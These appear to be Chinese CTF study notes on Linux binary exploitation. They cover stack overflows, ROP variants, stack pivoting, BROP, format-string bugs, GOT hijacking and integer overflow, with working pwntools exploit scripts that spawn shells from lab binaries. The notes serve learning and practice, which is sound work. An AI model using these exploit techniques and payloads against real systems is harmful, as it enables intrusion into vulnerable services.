puts函数在输出后会自动加上\n
Linux指令
sudo chmod +x 文件名 改变权限
*setvbuf函数
gdb指令
PIE时下断点 b *$rebase(0x )
pwntools函数
程序装载与虚拟内存
objdump -s elf
cat /proc/pid/maps
虚拟地址空间(虚拟内存):CPU是直接读取物理内存的,但物理内存的地址对于程序员来说不友好,所以经过OS(操作系统)分页机制的转换,形成地址连续的虚拟地址空间
glibc在物理内存中只存一份,在不同进程中被载入多次
CPU与进程的执行
bss主要的一个作用是存放未初始化的全局变量,未运行时没有值,不占磁盘空间,运行时会赋值,占内存空间
终端 file 文件 LSB是小端序 LMB是大端序
r开头的寄存器8字节,e开头的寄存器4字节
装载与汇编
- fork()是将当前进程复制一份,之后执行execve()用新的可执行二进制文件代码替换新进程的代码,以此创建新进程
保护
NX 堆栈不可执行
canary
bypass
函数执行结束之后检查canary
PIE
bypass
栈溢出
栈是一种后进先出的数据结构。栈结构示意图如下(以32位程序为例):
- 栈空间是从高地址向低地址增长的。
- 但是,若函数中用到了数组作为局部变量时,向数组的赋值时的增长方向是从低地址到高地址的,与栈的增长方向相反。若对未限制数组的赋值边界,则可能对数组进行恶意的越界写入,便会把栈中的数据覆盖,造成栈溢出漏洞。
- 需要注意的是,32 位和 64 位程序有以下简单的区别
- x86
函数参数在函数返回地址的上方 - x64
前六个整型或指针参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果还有更多的参数的话才会保存在栈上。
内存地址不能大于 0x00007FFFFFFFFFFF,6 个字节长度,否则会抛出异常。
如果对覆盖栈的内容进行精心构造,就可以在返回地址的位置填入我们希望函数返回的位置,从而劫持程序的执行。由于在编写栈利用 shellcode 过程中都需要用到ret指令,所以这样的利用方式被成为ROP。
面对返回编程
ROP(Return-oriented programming)是指面向返回编程。在32位系统的汇编语言中,ret相当于pop EIP,即将栈顶的数据赋值给 EIP,并从栈弹出。所以如果控制栈中数据,是可以控制程序的执行流的。由于 NX 保护让我们无法直接执行栈上的 shellcode,那么就可以考虑在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。初级的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。
随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
- 程序存在溢出,并且可以控制返回地址。
- 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
ret2text
ret2text 即控制程序执行程序本身已有的的代码 (.text)。
其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
ret2shellcode
ret2shellcode,即控制程序执行 shellcode 代码。
shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary (二进制)在运行时,shellcode 所在的区域具有可执行权限。
gdb通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A" * 0xd8 + p64(jmp_esp) + shellcode
p.sendline(payload)
p.interactive()
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
ret2syscall
ret2syscall,即控制程序执行系统调用,获取 shell。
简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
- 0xb 为 execve 对应的系统调用号。
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
控制这些寄存器的值,这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。
ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
此外,我们需要获得 /bin/sh 字符串对应的地址。
➜ ret2syscall ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
此外,还有 int 0x80 的地址
➜ ret2syscall ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
ret2libc
ret2libc 即控制函数的执行 libc 中的函数,
通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。
一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
利用 ropgadget,我们可以查看是否有 /bin/sh 存在
➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
如果没有bin/sh,先读入参数到某个位置
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
既没有bin/sh也没有system函数
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下https://github.com/niklasb/libc-database
如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
-
得到 libc 中的某个函数的地址,我们一般常用的方法是采用 got 表泄露,
-
即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
-
在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
泄露 __libc_start_main 地址
获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,
但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。
这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。
这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。
不同版本的这个函数有一定的区别
- cmp jnz循环是一种类似于while循环的控制结构,
- 它由一个比较指令cmp和一个跳转指令jnz组成。
- 在cmpjnz循环中,程序会先执行cmp指令,比较两个操作数的值,
- 如果结果不相等则执行jnz指令,跳转到循环体的开头,重新执行循环体;
- 如果结果相等,则跳出循环,继续执行后续的指令。
add cmp jnz
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp
- 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
- 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
- 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址,并使得程序重新执行 main 函数。
再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()
在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候
- 改进 1 - 提前控制 RBX 与 RBP
可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。 - 改进 2 - 多次利用
其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件 : 1.漏洞可以被多次触发 2.在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。
gcc 默认还会编译进去一些其它的函数
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
我们也可以尝试利用其中的一些代码来进行执行。
此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。
需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器
-
利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
-
利用中间部分的代码控制了 rdx,rsi,edi。
-
而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。
其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。
stack smash
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。
此适用于flag存储在全局变量中。我们确定了地址以后,就可以将argv[0]覆盖为flag的地址,然后破坏canary,通过__stack_chk_fail就可以泄露了。
wdb2018–guess
glibc–2.27
glibc–2.27和2.29都会输出unknown,2.31也不行
多进程下的爆破
stack pivot
pop rbp: 栈顶弹出,并赋值给rbp
ret: pop rip 栈顶弹出,赋值给rip,rip存储下一条执行的指令
填充后,第一次执行 leave,rsp=rbp,然后rsp指向处的特定的地址(rbp)复制给rbp寄存器,rsp指向(rbp)+8处(leave,ret)
执行ret,pop rip rip指向leave ret,rsp指向(leave ret)+8处
第二次执行leave ret,rsp=rbp=特定的地址, rbp=特定的地址,rsp=rbp+8处,
ret,rip指向rsp指向的地址,此处布置rop链
dd78-dca0=d8 填充d9个,覆盖canary最后一个00,
dd90-dd80=10
buf的开始是ROP的部分
泄露的rbp上的地址 到buf是0xe0+0x10=0xf0
stack=泄露的rbp上的地址 - (0xe0+0x10=0xf0) - 8
pop rdi 传参
函数参数 是puts的got,
函数puts puts的plt(jmp got)
返回地址 main
返回main,栈会抬高
原先的stack - d0=buf
buf - 8=抬高后的stack
send两次 ,有两个read
SROP
Linux x86_64
ciscn_s_3
0x118
Ret2reg
-
即攻击绕过地址混淆(ASLR),返回到寄存器地址。
-
一般用于开启ASLR的ret2shellcode题型,
在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,
当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可拼接payload跳转至该寄存器
-
该方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后在的运行过程中不会修改。
-
也就是说只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。
利用思路
- 主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令
- 分析和调试汇编,查看溢出函数返回时哪个寄存值指向传入的shellcode
- 查找call reg或jmp reg,将指令所在的地址填到EIP位置,即返回地址
- 再reg指向的空间上注入shellcode
/*编译命令:
gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
*/
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return ;
}
BROP
基本介绍
BROP(Blind ROP) 于 2014 年由 Standford 的 Andrea Bittau 提出,其相关研究成果发表在 Oakland 2014,其论文题目是 Hacking Blind
- BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
- 源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
- 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。
攻击原理
目前,大部分应用都会开启 ASLR、NX、Canary 保护。这里我们分别讲解在 BROP 中如何绕过这些保护,以及如何进行攻击。
ORW
格式化字符串
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。
通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。
几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
格式化字符串函数
格式化字符串
后续参数,可选
64位 格式化字符串
格式化字符串存放在rdi寄存器中,格式化字符串后的前五个参数对应存放在 rsi rdx rcx r8 r9,第六个之后的参数会入栈,以此类推。
格式化字符串漏洞的两个利用手段
- 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
- 查看进程内容,根据 %d,%f 输出了栈上的内容。
可以通过格式化字符串漏洞泄露 canary 值,然后在 shellcode 中伪造 canary 值进行绕过
程序崩溃
通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可
%s%s%s%s%s%s%s%s%s%s%s%s%s%s
这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。
泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
获取某个变量的值
获取某个变量对应地址的内存 - 泄露任意地址内存
利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
盲打,dump 整个程序,获取有用信息。
如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。addr%k$s
一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
有时候,我们需要对我们输入的格式化字符串进行填充,来使得我们想要打印的地址内容的地址位于机器字长整数倍的地址处
覆盖内存
%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
确定覆盖地址
确定相对偏移
进行覆盖.
def forc():
sh = process('./overwrite')
c_addr = int(sh.recvuntil('\n', drop=True), 16)
print hex(c_addr)
payload = p32(c_addr) + '%012d' + '%6$n'
print payload
#gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()
forc()
- 没有必要把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可。
首先,所有的变量在内存中都是以字节进行存储的。
此外,在 x86 和 x64 的体系结构中,变量的存储格式为以小端存储,即最低有效位存储在低地址。举个例子,0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节
当然,我们也可以利用 %n 分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用 %hhn 则不会有这样的问题,因为这样只会修改相应地址的一个字节。
0x00007fffffffdb08│+0x00: 0x0000000000400890 → <main+234> mov edi, 0x4009b8 ← $rsp
0x00007fffffffdb10│+0x08: 0x0000000031000001
0x00007fffffffdb18│+0x10: 0x0000000000602830 → 0x0000363534333231 ("123456"?)
0x00007fffffffdb20│+0x18: 0x0000000000602010 → "You answered:\ng"
0x00007fffffffdb28│+0x20: 0x00007fffffffdb30 → "flag{11111111111111111"
0x00007fffffffdb30│+0x28: "flag{11111111111111111"
0x00007fffffffdb38│+0x30: "11111111111111"
0x00007fffffffdb40│+0x38: 0x0000313131313131 ("111111"?)
──────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 "123456")
[#1] 0x400890 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────
可以看到 flag 对应的栈上的偏移为 5,除去对应的第一行为返回地址外,其偏移为 4。
此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 10。
而 fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 %9$s 即可得到 flag 的内容。
当然,我们还有更简单的方法利用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。
gef➤ fmtarg 0x00007fffffffdb28
The index of format argument : 10
hijack GOT
- 在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。
- 在没有开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。
因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。
假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤
-
确定函数 A 的 GOT 表地址。
这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。 -
确定函数 B 的内存地址
这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。 -
将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种
-
1.写入函数:write 函数。
-
2.ROP
pop eax; ret; # printf@got -> eax
pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
- 3.格式化字符串任意地址写
hijack retaddr 劫持返回地址
我们要利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。
- 虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算。
确定偏移
获取函数的 rbp 与返回地址
根据相对偏移获取存储返回地址的地址
将执行 system 函数调用的地址写入到存储返回地址的地址。
qwb2020siri:
qwb2020siri——负数写入%n——malloc hook
%*x$c%y$n
将栈中偏移x处的值 赋给栈中偏移y处的指针指向的地址
wdb2020 量子纠缠
ciscn2019sw1——init array fini array
自动化格式化字符串利用
非栈上格式化字符串漏洞利用
间接写
*沙箱
整数溢出漏洞
整数溢出是指:在计算机编程中,当算术运算试图创建一个超出可以用给定位数表示的范围(高于最大值或低于可表示的最小值)的数值时,就会发生整数溢出。了解整数溢出,需先了解整型数据在内存中的存储形式。
64位范围表
下表列出C语言中个整型数据的数值范围和分配的内存字节数(与编译器相关,以下是64位的值):
整数溢出的利用因为只能改变固定字节的输入,所以无法造成代码执行的效果。
整数溢出漏洞需要配合程序的另一处的缺陷,才能达到利用的目的。
通过输入能控制的程序中的数值(通常为输入的字符串的长度),用于处理与内存操作相关的限制或界限,便可能通过控制数值,设计缓冲区溢出,达到控制程序执行流程。
造成溢出的原因主要是对数值运算结果范围的错估和存在缺陷的类型转换。
《CTF竞赛权威指南》中,将整数的异常情况分为三种:溢出,回绕和截断。
- 有符号整数发生的是溢出,对应字节数的有符号整数,最大值 + 1,会成为最小值, 最小值 -1 会成为最大值,此种情况可能绕过>0 或 <0的检测;
- 无符号整数发生的是回绕,最大值 +1 变为0,最小值 -1 变为最大值;
- 截断则出现在将运算结果赋值给不恰当大小的整数数据类型和不当的类型转换的情况下。